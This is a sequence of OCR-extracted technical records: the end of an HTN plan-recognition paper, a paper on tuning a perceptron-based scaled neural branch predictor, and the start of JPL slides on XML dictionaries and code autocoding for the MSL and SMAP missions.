Assume now that only plan prefix consisting of \(a_1, a_2, \ldots, a_6\) is given. The plan recognition algorithm (Algorithm 2) will first derive tasks \(T_3\) and \(T_4\) only. Specifically, task \(T_2\) cannot be derived yet as action \(a_7\) is not in the plan. In the second iteration, the algorithm will derive task \(T_1\) by merging tasks \(T_3\) and \(T_4\), exactly as we described above. As no more tasks can be derived, the inner loop finishes and the algorithm attempts to add actions that can follow the prefix \(a_1, a_2, \ldots, a_6\) (line 33). Let action \(a_7\) be added at the 7-th position in the plan; actually all actions, that can follow the prefix, will be added as separate primitive tasks at position 7. Now the inner loop is restarted and task \(T_2\) will be added in its first iteration. In the next iteration, task \(T_0\) will be added and this will be the final task as it satisfies the condition at line 30.
Assume, hypothetically, that the verification Algorithm 1 is used there. When it is applied to plan \(a_1, a_2, \ldots, a_6\), the algorithm derives tasks \(T_1, T_3, T_4\) and fails as no task spans the whole plan and no more tasks can be derived. After adding action \(a_7\), the algorithm will start from scratch as the states might be different due to propagating some propositions from the precondition of \(a_7\). Hence, the algorithm needs to derive the tasks \(T_1, T_3, T_4\) again and it will also add tasks \(T_0, T_2\) and then it will finish with success.
It may happen, that action \(a_5\) can also be consistently placed to position 7. Then, we can derive two versions of task \(T_3\), one with the vector \([1, 0, 1, 0, 1, 0, 0]\) and the other one with vector \([1, 0, 1, 0, 0, 0, 1]\). Let us denote the second version as \(T_3'\). Both versions can then be merged with task \(T_4\) to get two versions of task \(T_1\), one with the vector \([1, 0, 1, 1, 1, 1, 0]\) and one with the vector \([1, 0, 1, 1, 0, 1, 1]\). Let us denote the second version as \(T_1'\). The Algorithm 1 will stop there as no more tasks can be derived. Notice that tasks \(T_1, T_3, T_4\) were derived repeatedly. If we try \(a_5\) earlier than \(a_7\) at position 7 then tasks \(T_1, T_3, T_4\) will actually be generated three times before the algorithm finds a complete plan. Contrary, Algorithm 2 will add actions \(a_5\) and \(a_7\) together as two possible primitive tasks at position 7. It will use tasks \(T_1, T_3, T_4\) from the previous iteration, it will add tasks \(T_1', T_3', T_4'\) as they can be composed from the primitive
tasks (using the last $a_5$), it will also add tasks $T_0, T_2$ (using the last $a_7$), and will finish with success. Notice that $T'_1$ cannot be merged with $T_2$ to get a new $T''_0$ as $T''_0$ has action $a_5$ at the 7-th slot while $T_2$ has $a_7$ there so the timelines cannot be merged (line 15 of Algorithm 2).
**Conclusions**
In the paper, we proposed two versions of the parsing technique for verification of HTN plans and for recognition of HTN plans. As far as we know, these are the only approaches that currently cover HTN fully including all decomposition constraints. Both versions can be applied to solve both verification and recognition problems, but as we demonstrated using an example, each of them has some deficiencies when applied to the other problem.
The next obvious step is implementation and empirical evaluation of both techniques. There is no doubt that the novel verification algorithm is faster than the previous approaches (Behnke, Höller, and Biundo 2017) and (Barták, Maillard, and Cardoso 2018). The open question is how much faster it will be, in particular for large plans. The efficiency of the novel plan recognition technique in comparison to existing compilation technique (Höller et al. 2018) is less clear as both techniques use different approaches, bottom-up vs. top-down. The disadvantage of the compilation technique is that it needs to re-generate the known plan prefix, but it can exploit heuristics to remove some overhead there. Contrary, the parsing techniques looks more like generate-and-test, but controlled by the hierarchical structure. It also guarantees finding the shortest extension of plan prefix.
**References**
|
{"Source-Url": "https://openreview.net/pdf?id=HJgRIrHWt4", "len_cl100k_base": 7874, "olmocr-version": "0.1.50", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 31854, "total-output-tokens": 9696, "length": "2e12", "weborganizer": {"__label__adult": 0.0004520416259765625, "__label__art_design": 0.0005817413330078125, "__label__crime_law": 0.0005674362182617188, "__label__education_jobs": 0.0012645721435546875, "__label__entertainment": 0.00014781951904296875, "__label__fashion_beauty": 0.00025582313537597656, "__label__finance_business": 0.00036406517028808594, "__label__food_dining": 0.0005340576171875, "__label__games": 0.0013475418090820312, "__label__hardware": 0.0012111663818359375, "__label__health": 0.0008997917175292969, "__label__history": 0.0004611015319824219, "__label__home_hobbies": 0.00017499923706054688, "__label__industrial": 0.0007557868957519531, "__label__literature": 0.0007061958312988281, "__label__politics": 0.0003786087036132813, "__label__religion": 0.0006480216979980469, "__label__science_tech": 0.216552734375, "__label__social_life": 0.0001442432403564453, "__label__software": 0.01203155517578125, "__label__software_dev": 0.7587890625, "__label__sports_fitness": 0.00037932395935058594, "__label__transportation": 0.0009675025939941406, "__label__travel": 0.0002551078796386719}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 32594, 0.04367]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 32594, 0.57484]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 32594, 0.86156]], "google_gemma-3-12b-it_contains_pii": [[0, 4611, false], [4611, 7799, null], [7799, 12654, null], [12654, 18361, null], [18361, 23574, null], [23574, 27465, null], [27465, 32594, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4611, true], [4611, 7799, null], [7799, 12654, null], [12654, 18361, null], [18361, 23574, null], [23574, 27465, null], [27465, 32594, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 32594, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 32594, null]], "pdf_page_numbers": [[0, 4611, 1], [4611, 7799, 2], [7799, 12654, 3], [12654, 18361, 4], [18361, 23574, 5], [23574, 27465, 6], [27465, 32594, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 32594, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
2ad827e51e19149e019bff3def6862511efdadf8
|
Abstract—A perceptron-based scaled neural predictor (SNP) was implemented to emphasize the most recent branch histories via the following three approaches: (1) expanding the size of tables that correspond to recent branch histories, (2) scaling the branch histories to increase the weights for the most recent histories but decrease those for the old histories, and (3) expanding most recent branch histories to the whole history path. Furthermore, hash mechanisms, and saturating value for adjusting threshold were tuned to achieve the best prediction accuracy in each case. The resulting extended SNP was tested on well-known floating point and integer benchmarks. Using the SimpleScalar 3.0 simulator, while different features have different impact depending on whether the test is floating point or integer, overall such a well-tuned predictor achieves an improved prediction rate compared to prior approaches.
I. INTRODUCTION
Dynamic branch prediction is a fundamental component in modern computer architecture design to achieve high performance. A branch in machine code is essentially analogous to an if-statement in high level code. When a branch is first encountered, it may not be possible to decide whether or not it should be taken: the code is executed in multiple pipelined stages and the needed information may not be available yet. Instead of stalling, however, a pipelined processor uses branch prediction to predict the target of a branch, and pre-fetches and executes instructions on the path of the predicted decision. The more accurate such branch prediction is, the more likely such speculation is to be useful. Accurate branch prediction is therefore essential to facilitate instruction-level parallelism and better performance [1].
Most research in the 1990’s focused on branch predictors based on two-level adaptive scheme [2]. Two-level predictors make predictions from previous branch histories stored in a pattern history table (PHT) of two-bit saturating counters. The table is indexed by a global history shift register that stores the outcomes of previous branches. This scheme led to a series of subsequent works that focused on eliminating aliases [3]-[5]. However, all such improvements were within the framework of the existing prediction mechanism.
On the other hand, machine learning techniques offer possibility of further improvement in the prediction mechanism itself. Jimenez and Lin [6] proposed to use fast perceptrons [7], instead of PHT. Compared to other artificial neural networks that are able to fit high-dimensional non-linear data, perceptrons are easier to understand and implement, faster to train, and computationally economical. In particular, they work well with linearly separable branches, which cover a significant number of branches of practical interests. Furthermore, perceptron-based predictors can take advantage of longer histories than traditional saturating counters. Thus, improvements in perceptron based predictors have become an active area of research. For example, more complicated mechanisms like expanded branch histories, path histories, separate storage of weights, and different training methods were introduced [8]-[12].
In this paper, several different approaches proposed in the literature are combined to improve the prediction rates. In particular, the effect of using different saturating numbers to change threshold [10] and different ways to make use of history of branch addresses to form path history [11] are considered, along with the usage of expanded history [12], and the scaling of branch histories by coefficients [12]. Although the previous works proposed the models and methods of perceptron-based branch predictor in sufficient detail, they did not address the issue of how different values of the parameters or different choices of mechanism may influence the prediction rates. Furthermore, to date this issue has not been investigated empirically. This paper aims at bridging this gap by using a wide range of both integer and floating point benchmarks. The above techniques are implemented into a Scaled Neural Predictor (SNP) [12], and thoroughly evaluated and tested on a well-known open-source simulator, SimpleScalar 3.0 [13]. Conclusions are then drawn on recommended choices of each mechanism for both floating point and integer tasks, in order to optimize the performance of SNP. The paper shows that adopting the recommendations can lead to significant improvements in branch prediction rates.
SNP offers a crucial advantage over other digital neural predictors in that many of the crucial components of the SNP can be implemented using analog circuitry. Since branch prediction is primarily hardware oriented, practical branch predictors would have to be competitive in a hardware implementation. A reasonable implementation and the efficiency gains are discussed in detail in the original SNP paper [12].
The remainder of the paper is organized as follows. Section II briefly introduces the mechanism of perceptron-based branch predictors and techniques for their improvement. Section III presents the design and implementation of predictors based on SimpleScalar [13];
Section IV presents comparison between difference choices of parameters as well as an analysis of the results on integer and floating point benchmarks.
II. BACKGROUND ON NEURAL BRANCH PREDICTORS
A perceptron is a vector of $h + 1$ small integer weights, where $h$ is the history length of the predictor. A branch history is a list of 1 (taken) and -1 (not taken) of length $h$, in reference to the most recent $h$ branches. The first $h$ weights, called the correlation weights, are in one-to-one correspondence to the $h$ branches, understood as the influence of the $i^{th}$ branch to the next prediction, and the last weight is the bias. A table of $n$ rows is used to store the weights of $n$ perceptrons, with each row containing the $h + 1$ weights of one perceptron. Given the branch program counter (PC), the address is mapped to one row of the table by a hash function, for example, modulo $n$, such that the weights of the perceptron are dot-multiplied to the branch history. The resulting value plus the bias is the predicted value: if the value is no less than zero, the branch will be taken, and not taken otherwise. This process is illustrated by Fig. 1.
At any time when a misprediction is made, an update procedure is triggered, changing the weights of the perceptron. The bias will be decremented if the branch was taken and incremented if it was not. Each correlation weight is either increased or decreased, depending on whether the corresponding value in the branch history is 1 or -1. As an example, if the result of the branch prediction in Fig. 1 (taken) is incorrect, then the weight update once the true result is known is triggered. As shown in Fig. 2, the same branch will now be predicted as not taken, after this single update.
Recent works focus on improving the basic perceptron predictors for better accuracy. Jimenez [11] suggested using path and the history of branch addresses, and proposed a path-based predictor, where weights are accessed as a function of the PC and the path. The benefit is that the predictor can correlate not only with the pattern history, but also with the path history. Seznec [9] suggested that breaking the weights into a number of independently accessible tables rather than keeping them in a single table with $h$ columns correlates the branch history with perceptron weights better. Renee, Jimenez and Burger [12] proposed using coefficients to scale weights, the idea of which was motivated by a practical observation that the more recent branching behavior should have more influence on the prediction in near future. They also suggested using expanded history, which contains a history of 128 bits repeatedly selected from a branch history of 40 bits. For training perceptrons, Seznec [10] proposed an adaptive threshold training algorithm in which weight update is triggered not only when the prediction is incorrect, but also when the perceptron output is less than a threshold.
III. DESIGN AND IMPLEMENTATION
In this paper, the original scaled perceptron-based branch predictor SNP [12] is implemented in SimpleScalar 3.0 [13]. The techniques discussed in Section II and incorporated in the original SNP were implemented, including the update procedure invoked on mispredictions, the adaptive threshold, coefficient scaling of weights to give greater preference to recent branches and usage of both the path and history of branch addresses. The relative effects of each of these techniques were then investigated to determine which of these yield the most significant improvements, and under what parameter settings.
SimpleScalar 3.0 is a system software infrastructure that is widely deployed commercially and in academic research for program performance analysis, detailed micro-architectural modeling, and hardware-software co-verification [13].
Each perceptron in the implementation has 128 correlation weights, stored in 16 tables, each having eight columns containing eight weights ranging from -64 to 63. The first table has 512 rows, because the most recent weights are the most important, and all the others have 256 rows. Bias weights are stored in a vector of length 2048. All correlation weights in perceptron tables are initialized to be zeroes. Seznec [10] showed that good performance was achieved with bias weights initialized to be \(2.14 \times (\text{expanded history} + 1) + 20.58\). Here, \text{expanded history} refers to the number of the most recent branch addresses that are considered by the predictor. The bias weights in this paper’s implementation were initialized in accordance with the above expression, with \text{expanded history} set to 128, for all experiments that were conducted.
To index each table, branch PC is hashed to 11 bits. Eight of the 11 bits are XORed with a fraction of the array \(A\), resulting in an eight or nine bit index for one of the 256 rows (or 512 rows for the first table). The whole 11 bits are also used to index one of 2048 bias weights. The indexed correlation weight vector is dot multiplied with the expanded history, and subsequently added to the indexed bias weight; this final value then leads to the prediction.
As described in Section II, an adaptive threshold training algorithm is used. The weights are updated not just on mispredictions, but also if the calculated dot product is below a threshold that changes dynamically as the program executes. The change in threshold is controlled by a saturating counter, which records the number of consecutive correct or consecutive incorrect predictions. This counter increments every time when a correct prediction is made and decrements otherwise. Unlike correlation weight update, the threshold is only changed once the magnitude of this counter reaches a pre-set maximum value. The algorithm to trigger modification of threshold is illustrated in Fig. 3. The pre-set maximum value shown in this figure is set to 32.
In the implementation discussed in this paper, expanded path history is used. The addresses of recent branches are hashed into 128 bits, forming the so-called path history, stored in an array \(A[128]\). The algorithm uses an eight bit sliding window to obtain the vector \(A[0...7], A[8...15],..., A[120-127]\) by moving the sliding window 16 times on recent branch histories. Only one bit of each branch address is selected. The moving distance of the sliding window can be one bit, two bits, four bits, or eight bits, thus allowing a choice of different numbers of branch addresses to generate the path array. The algorithm for generating eight bit long \(A_k\) for \(k^{th}\) table is illustrated in Fig. 4. The coefficient before \(k\) controls the moving distance of the sliding window. If the moving distance is one bit each time, then only the most recent branch addresses are used.
However, if the moving distance is eight bits, then no repeated history addresses are used and total of 128 different branch addresses are taken into account. The influence of different moving distances on prediction accuracy is discussed in Section IV-B.
Another way to investigate the influence of path is to consider different hashing schemes. A hash function aims to select the most representative bits from the branch addresses to predict a future branch, but some bits may be more representative than others. For example, the third lowest bit is much more representative than the second and first lowest bit because the lowest two bits may never change if the instructions are stored by word. Different hashing schemes are evaluated: hashing the third and fourth lowest bits, hashing the third lowest bit, or hashing the second lowest bit from branch addresses into path, and their influences. Results are shown and discussed in section IV-C.
Renee, Jimenez and Burger [12] proposed that the branch history be stored in a global branch history register \(H\) using 40 bits, and then expanded into 128 bits by repeatedly selecting bits from this register. They reported that expanded history, hashing from the most recent 40 branches to 128 bits, leads to better prediction rates. The claim was evaluated in this paper by comparing a 128 bit expanded history with a 128 bit ordinary history. The results are discussed in section IV-D.
The more recent histories have a larger correlation with current prediction. To emphasize the recent branch histories, the recent histories were scaled to a larger value while reducing the effect of old histories. To this end, each bit in...
the expanded history has a coefficient to stress stronger influence of more recent branches on future predictions. In particular, Renee, Jimenez and Burger [12] obtained the relationship between the coefficient and $i^{th}$ bit in expanded history from experiments, which is $1/(0.1111+0.037i)$. In their implementation, they placed an upper bound of one for the coefficients, i.e. the coefficient is either $1 / (0.1111 + 0.037i)$, when the value is smaller than one, or one otherwise. In this paper, experiments are conducted to investigate the effect of scaling coefficients by assigning coefficients without bound, assigning coefficients with an upper bound of one, and not assigning any coefficients. The results are discussed in Section IV-E.
It should be noted that in these experiments, the traditional training-prediction paradigm of machine learning is not used, in which the perceptron is first trained off-line by a set of training samples until weights converge, and then used for static prediction. Instead, an on-line training and prediction approach is used, wherein the weight update procedure is invoked every time the calculated dot product is below the adaptive threshold, as detailed in Section II. This is in contrast to a two-stage system, where the first stage only involves training, and the second, testing or evaluation. The branch predictor is therefore not static and can change continuously during the program flow. Also, during the training and prediction, an out-of-order simulator is employed, which means that the CPU is allowed to pipeline ahead of instructions. Hundred million instructions are used for each round of testing.
IV. EXPERIMENTAL RESULTS
In this section, comparisons of prediction rates under different configurations of the predictors are presented and the influence of those parameters on prediction accuracy is studied. All figures in this section have prediction accuracy on the $y$-axis, scaled to a range between zero and one. Prediction accuracy is defined as the ratio of the number of successful predictions to the total number of predictions made by the predictor.
A. Saturating Counter for Changing Threshold
Based on the algorithm in Fig. 3, saturating numbers for the saturation counter are chosen to be 0 (basic training method), 1, 16, 32, or 64. The third lowest bit of all 128 branch addresses is used to form path array $A$. Scaling coefficients are also applied to branch histories. Both integer benchmarks and floating point benchmarks are tested, as shown in Fig. 5.
The results show that using a saturating number larger than zero generally leads to better results for integer benchmarks and for most floating point benchmarks. For integer benchmarks, there is not a significant difference as long as the saturating number takes a value larger than zero.
For floating point benchmarks, saturating number of 32 generally yields better results, according to the $geomean$ benchmark, indicating that for floating point benchmarks, the threshold should be adapted at every 32 consecutive correct or consecutive incorrect predictions. For general prediction design therefore, setting the saturation value to 32 is recommended since this value would maximize prediction accuracy on both integer and floating benchmarks, according to these benchmark results.
B. Expanding Path History
As proposed in the previous section, the path array $A$ is employed to establish better correlation between branch address history patterns and future predictions. It is important to study the effects of different hashing schemes on the branch addresses to generate path array $A$. In this section, different moving distances are used, e.g. one bit, two bits, four bits or eight bits, of sliding window to generate path array $A$ (this algorithm is shown in Fig. 4). A smaller moving distance corresponds to repeatedly selecting more recent branch addresses, while a larger moving distance also takes branch addresses further in the past into account. To complete the comparison, the prediction rate is determined if the path array $A$ is not used. The results are illustrated in Fig. 6.
This result empirically confirms the proposal of Jimenez [11] that taking address path patterns into account, along with branch history patterns, leads to better prediction rates. Using paths is always much better than not using paths.
Fig. 6 Integer benchmark results (a) and floating point benchmark results (b) for generating array A at different moving distance. The bars represent different values for \( d \), the moving distance. For integer benchmarks, maximum accuracy (on average) is achieved when \( d \) equals two bits, and for floating point benchmarks, maximum accuracy (on average) is achieved when \( d \) equals four bits.
However, the results also show that it is not necessarily the case that the longer the actual branch history addresses that are taken into account, the better the prediction rates will be. For integer benchmarks, a moving distance of two bits yields the best results, and for floating point, a moving distance of four bits proves to be superior to the suggestion of Renee Jimenez and Burger [12], who use a moving distance of eight bits along with 128 different branch addresses. This result may be explained as follows: the most recent branches are just enough for future predictions, and taking into account recent branches from further into the past is not only useless, but also may increase mispredictions in the future. In conclusion, the recent branches have more positive influence and should be emphasized more when making future predictions.
C. Different Hashing Schemes
As mentioned earlier, when generating the path array A, only one bit of each branch address is chosen, so it is crucial to choose the most representative bit from each branch address. Different low-order bits or their combinations from branch addresses are used to form a path. In particular, the third lowest bit, combination of the fourth and third lowest bits, and second lowest bit, are used, as shown in Fig. 7.
Testing results clearly indicate that some bits or bit combinations are more representative than others: hashing instructions are stored by word. Hashing the third lowest bit is roughly similar to combining the third and fourth lowest bits for integer benchmarks, but leads to a 2% improvement for floating point benchmarks. Therefore, it is not necessarily the case that the combination provides more information than the single bit and the architectural cost of such combinations could be non-trivial. For general design therefore, hashing the third lowest bit is recommended.
D. Expanded Branch History vs. Ordinary History
The fourth experiment focused on using an expanded branch history of 128 bits that repeatedly hash from a history of the most recent 40 branches (i.e. the history of taken or not taken of each branch), and compared it with an ordinary history containing the results of most recent 128 branches. The results are illustrated in Fig. 8.
The results show that the expanded history achieves roughly the same accuracy as ordinary history for floating point benchmarks, and slightly worse accuracy for integer benchmarks. The expanded history, i.e. 40 bits hashing to 128 bits, forms a good approximation to a real history of 128 bits. In general design with sufficient budget, an ordinary history of 128 bits is recommended, but in the case of limited budget, expanded history can be a good approximation.
The results show that expanded history outperforms ordinary history for nearly all cases.
### E. Scaling Coefficients
Three ways to assign scaling coefficients are considered: (1) $1/(0.1111+0.037i)$, (2) $1/(0.1111+0.037i)$ with an upper bound of one, and (3) no scaling where all coefficients are assigned to one. The testing results are shown in Fig. 9. The results confirm the suggestion of Renee, Jimenez and Burger [12] that scaling places more emphasis on recent branches, and thus, generally leading to better prediction rates. Non-scaling is far worse than two other scaling methods.
However, placing an upper bound behaves slightly worse than no upper bound: this result is intuitive because an upper bound limits the expressiveness of “recent influence” of branches. Therefore, for general design, placing no upper bound on the coefficients is recommended.
### V. Conclusion
The SNP had already been shown in prior work to achieve state-of-the-art performance compared to other competitive schemes. In this paper, its original design was implemented in SimpleScalar 3.0, a powerful system software infrastructure that is widely deployed for program performance analysis and microarchitectural detailing. In addition, several modifications to SNP were implemented based on proposals in prior work. Extensive tests were performed on a wide range of integer and floating point benchmarks both with and without these modifications. Based on these empirical data, recommendations were made on how the original SNP could be further improved so that branch prediction can be made more accurate.
### REFERENCES
|
{"Source-Url": "http://www.cs.utexas.edu/users/ai-lab/downloadPublication.php?filename=http%3A%2F%2Fnn.cs.utexas.edu%2Fdownloads%2Fpapers%2Fzhou.ijcnn13.pdf&pubid=127420", "len_cl100k_base": 4502, "olmocr-version": "0.1.49", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 19793, "total-output-tokens": 5572, "length": "2e12", "weborganizer": {"__label__adult": 0.00066375732421875, "__label__art_design": 0.0011692047119140625, "__label__crime_law": 0.0005698204040527344, "__label__education_jobs": 0.0006256103515625, "__label__entertainment": 0.00017964839935302734, "__label__fashion_beauty": 0.0003399848937988281, "__label__finance_business": 0.0003457069396972656, "__label__food_dining": 0.00047135353088378906, "__label__games": 0.0011091232299804688, "__label__hardware": 0.0213775634765625, "__label__health": 0.0007810592651367188, "__label__history": 0.000640869140625, "__label__home_hobbies": 0.0002644062042236328, "__label__industrial": 0.0014619827270507812, "__label__literature": 0.0003409385681152344, "__label__politics": 0.00043845176696777344, "__label__religion": 0.0007557868957519531, "__label__science_tech": 0.38134765625, "__label__social_life": 8.690357208251953e-05, "__label__software": 0.010162353515625, "__label__software_dev": 0.57470703125, "__label__sports_fitness": 0.0005917549133300781, "__label__transportation": 0.0014276504516601562, "__label__travel": 0.00031280517578125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 24944, 0.01891]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 24944, 0.5261]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 24944, 0.92123]], "google_gemma-3-12b-it_contains_pii": [[0, 5188, false], [5188, 9015, null], [9015, 13684, null], [13684, 18068, null], [18068, 21205, null], [21205, 23843, null], [23843, 24944, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5188, true], [5188, 9015, null], [9015, 13684, null], [13684, 18068, null], [18068, 21205, null], [21205, 23843, null], [23843, 24944, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 24944, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 24944, null]], "pdf_page_numbers": [[0, 5188, 1], [5188, 9015, 2], [9015, 13684, 3], [13684, 18068, 4], [18068, 21205, 5], [21205, 23843, 6], [23843, 24944, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 24944, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-25
|
2024-11-25
|
6f73a271628577dd571f9656f34d9bb2aa11f853
|
Autocoding and Dictionaries on SMAP and MSL
Ed Benowitz
MSL/SMAP FSW Developer
Chris Swan
SMAP System Engineer
NASA/Jet Propulsion Laboratory
Caltech
http://smap.jpl.nasa.gov/
http://mars.jpl.nasa.gov/msl/
Copyright 2014 California Institute of Technology. Government sponsorship acknowledged.
Agenda
• Summary
• Mission Overview / Dictionary Overview
• MSL Dictionary/Autocoding Process
– Commands/IPC Messages
– Engineering Health and Accountability (EHA)
– Event Record (EVR)
– Data Products (DP)
– Parameters
• MSL Lessons Learned
• SMAP Dictionary/Autocoding Process
– Commands/EHA
– EVR
– Data Products
– Parameters
• SMAP Lessons Learned
• MSL/SMAP compare contrast
Executive Summary
- Both SMAP and MSL
- Used XML dictionaries for commands, telemetry and data products.
- The MSL and SMAP missions made extensive use of autocoding
- Autocoding
- Generating flight C code from XML
- MSL
- Developers wrote the autocoder input XML by hand
- SMAP
- Leveraged lessons learned from the MSL
- Streamlined requirement sources
- Used XML dictionaries for more types of specification
- Used a web/database tool called Dictionary Management System (DMS) to:
- Specify dictionary elements
- Generate XML
- Dictionaries
- Autocoder’s XML inputs
Mission Scope/Overview
• MSL Overview
– Latest Mars rover mission
– Three mission phases
• Cruise
• Entry, Descent, and Landing
• Surface
– Highly redundant hardware
– 10 instruments
– Mobility system with autonomy
– Drill
– Robotic arm
– Cameras
• SMAP Overview
– Earth orbiter
– Mostly single string with a few redundant devices
– 2 instruments
– Rotating spun section
– Complex mechanical deployment
• Same flight software architecture for both missions
– Written in C
– Operating system: VxWorks
– Architecture: Message passing via Inter-Process Communication (IPC)
Dictionary Overview
• Dictionary:
– A machine-readable file that describes commands and telemetry formats
– Allows ground tools to
• Encode commands
• Decode telemetry and data products
– Is consistent between flight software and ground software
– Contains human-readable command and telemetry descriptions
## Code / Dictionary Comparisons
<table>
<thead>
<tr>
<th></th>
<th>MSL</th>
<th>SMAP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Raw KLOC</td>
<td>Physical KLOC</td>
<td>Logical KLOC</td>
</tr>
<tr>
<td>Handwritten C</td>
<td>1,323 788 470</td>
<td>Handwritten C 490 252 155</td>
</tr>
<tr>
<td>Handwritten XML</td>
<td>409 368 277</td>
<td>Autogenerated C 142 117 95</td>
</tr>
<tr>
<td>Autogenerated C</td>
<td>4,049 2,563 1,101</td>
<td>Autogenerated XML 157 152 118</td>
</tr>
<tr>
<td>Total (XML and C)</td>
<td>7,629 5,369 3,107</td>
<td>Total (XML and C) 790 522 368</td>
</tr>
</tbody>
</table>
### MSL
<table>
<thead>
<tr>
<th>Commands</th>
<th>4000</th>
<th>400</th>
</tr>
</thead>
<tbody>
<tr>
<td>EHA</td>
<td>19,600</td>
<td>3400</td>
</tr>
<tr>
<td>EVR</td>
<td>26,000</td>
<td>4200</td>
</tr>
<tr>
<td>Data Products</td>
<td>600</td>
<td>30</td>
</tr>
</tbody>
</table>
**MSL Dictionary Process**
- Systems Engineering “owns” the dictionary
- Can make dictionary updates that do not affect FSW
- Requirements Sources
- Command/EHA dictionary specified via spreadsheet by Systems Engineering
- Converted to XML
- Functional Description Document
- Word document detailing behavior specification
- Included requirements and command/telemetry specifications
- Requirements
- Via DOORS Database
- Included requirements for specific dictionary elements
- All sources are effectively incomplete (scope, level of detail)
- FSW could self generate commands/telemetry independent of requirements sources
- All data stored and managed as flat files (Word, Excel, Text, XML)
- Distributed among a large team
- FSW Change management
- Items checked into Configuration Management (CM)
- All autocoder inputs
- All autocoder tools
- All handwritten code
- All autogenerated code was NOT checked into CM
- Much developer time was spent regenerating code
MSL Autocoder: Command Process
- Commands
- Opcode
- Arguments
- Argument ranges
- IPC Messages
- IPC Queues
• Systems Engineer
- Systems Command Spreadsheet
- System Command tool
- Systems Command XML input
• FSW Developer
- IPC/Command Input XML
- Module IPC/Command Autocoder
- Module IPC and Command C code
• Updated command descriptions
• Systems Merge tool
- Final XML Command Dictionary
• Module Command XML output
- FSW Command Merge tool
- FSW XML Command Dictionary
• Ground System Software
MSL Autocoder: EHA Process
1. Systems Engineer
- Systems EHA Spreadsheet
- Systems EHA tool
2. FSW Developer
- FSW EHA Input XML
- FSW EHA Autocoder
- Module EHA C code
3. Systems Merge tool
- Derived channel XML
- Systems EHA XML input
- FSW EHA Merge tool
- Module EHA XML output
4. Final XML EHA Dictionary
- Ground System Software
5. FSW XML EHA Dictionary
Flow:
- Systems Engineer uses Systems EHA Spreadsheet to generate Systems EHA tool.
- FSW Developer uses FSW EHA Input XML to generate FSW EHA Autocoder.
- Systems Merge tool receives derived channel XML and Systems EHA XML input to generate Systems EHA tool.
- FSW EHA Merge tool receives Module EHA XML output to generate Final XML EHA Dictionary.
- Ground System Software uses Final XML EHA Dictionary.
**MSL Autocoder: EVR Process**
- Developers write EVRs in their C Code
- An EVR works similarly to a printf
- To specify enumerations
- Developers map by hand in XML
- C-enumerations data types to EVR arguments
- This is the EVR enumeration XML file
**MSL Autocoder: Data Products**
- A data product is a structured binary file onboard the spacecraft
- Given a dictionary, the ground tool can decode any data product into a human readable text form
- To accomplish this on flight and test platforms with difference endian-ness and compilers
- The encoding, alignment, and endian-ness of all data products is fully specified in a machine-readable consistent way
- Data products can contain multiple Data Product Objects (DPO)
- Did NOT specify or restrict what DPOs might be in a given data product
- DPOs allow specification of
- Primitive types
- Fixed size multidimensional arrays
- C-like structs
- Top level variable-sized arrays
- Strings
- Data product autocoder
- FSW developers specify data products and DPOs in XML
- The DP autocoder generates C code to marshal C data structures to data products
- Performs packing, byte swapping across platforms
- XML representation
- All data products names/ids are merged into one XML
- Each DPO is kept separately in its own XML file in the final dictionary
MSL Autocoder: Data Product Process
FSW Developer → FSW Data Product / DPO Autocoder
FSW Data Product and DPO C code
DPO XML output
Module Data Product XML output
FSW XML Data Product Dictionary
Ground System Software
MSL Autocoder: Parameter Process
- Parameters are
- Saved onboard settings that are changed by command
- Every parameter has
- A set of generated commands
- Non-volatile storage
- A data product
